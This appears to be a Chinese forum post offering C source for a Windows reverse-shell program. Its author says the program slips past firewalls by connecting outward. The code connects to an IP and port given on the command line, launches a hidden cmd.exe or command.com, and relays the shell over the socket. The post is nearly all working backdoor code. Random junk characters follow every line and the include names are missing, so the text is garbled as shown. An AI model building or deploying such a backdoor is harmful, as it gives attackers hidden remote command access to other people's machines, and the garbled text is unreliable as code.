这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |na9I6
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/* ============================== J &=5h.G$
Rebound port in Windows NT e(1{W P
By wind,2006/7 3&c'3y:b
===============================*/ Q($@{[lT
#include Iw#[K
#include 5OOXCtIKf
@V Tw>=94
#pragma comment(lib,"wsock32.lib") QP!;Gwqr
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void OutputShell(); lSd tw b
SOCKET sClient; j 7O!uUQQ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; fffWvf
9M|#X1r{%{
void main(int argc,char **argv) VRY@}>W'
{ l_+q a6C*
WSADATA stWsaData; xZV|QVY;
int nRet; b!"qbC1
SOCKADDR_IN stSaiClient,stSaiServer; +[S<"}ls7
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if(argc != 3) 9nlj{(
{ $}YN`:{
printf("Useage:\n\rRebound DestIP DestPort\n"); ]:?hU^H]<
return; ?=kH}'igq
} 7Ot&]M
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WSAStartup(MAKEWORD(2,2),&stWsaData); Dp^=% F{t
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t0:~BYXu
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stSaiClient.sin_family = AF_INET; Z%3)w.
stSaiClient.sin_port = htons(0); NJoHrhC='
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); QOJ5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8zJye6f;l
{ )B~{G\jS
printf("Bind Socket Failed!\n"); f|s,%AU"i
return; 7(LB}
} OH
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stSaiServer.sin_family = AF_INET; B&*`A&^y
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pg<cvok
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); r>"l:GZ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;\/RgN
{ G(hnrRxn
printf("Connect Error!"); #xhl@=W;
return; ;'<SsI
} t`V U<
OutputShell(); EzCi%>q
} YsTF10
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void OutputShell() 4!'4 l=jO
{ kO/;lrwC
char szBuff[1024]; AVc|(~V
SECURITY_ATTRIBUTES stSecurityAttributes; /" &Jf}r
OSVERSIONINFO stOsversionInfo; \C1`F[d_
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *;T HD>
STARTUPINFO stStartupInfo; i(q a'*
char *szShell; OG7U+d6
PROCESS_INFORMATION stProcessInformation; v}^uN+a5
unsigned long lBytesRead; v?DA>
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Q 9JT6
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ( M3-S5
stSecurityAttributes.lpSecurityDescriptor = 0; 5* ~EdT
stSecurityAttributes.bInheritHandle = TRUE; 0{Zwg0&
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :+fW#:
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); uH)v\Js
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hN;$'%^
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Thp!X/2O`
stStartupInfo.wShowWindow = SW_HIDE; 8)}A}x
stStartupInfo.hStdInput = hReadPipe; ^p\n/#B
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;|Rrtf9
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GetVersionEx(&stOsversionInfo); p;2NO&
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switch(stOsversionInfo.dwPlatformId) :&O6Y-/B
{ PV/ hnVUl
case 1: &=-{adm
szShell = "command.com"; G\r>3Ys
break; 1-pxM~Y
default: tW3Nry
szShell = "cmd.exe"; ~ \7peH%
break; zids2/_*
} <r8s=<:
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); l;;"v) C8
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send(sClient,szMsg,77,0); mS-{AK
while(1) 1jj.oa]
{ +"[}gss!@
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gG,gL9o
if(lBytesRead) 'v&f
{ 7{u1ynt
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |-vn,zpe
send(sClient,szBuff,lBytesRead,0); f9b[0L
} X&|y|
else /A%31WE&1
{ DI:"+KMq{
lBytesRead=recv(sClient,szBuff,1024,0); 2?9gf,U
if(lBytesRead<=0) break; Y:K1v:Knw
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); f}zv@6#&
} qMmhmH)Gp
} 1n+JHXR\
l Gy`{E|
return; VrZ6m
}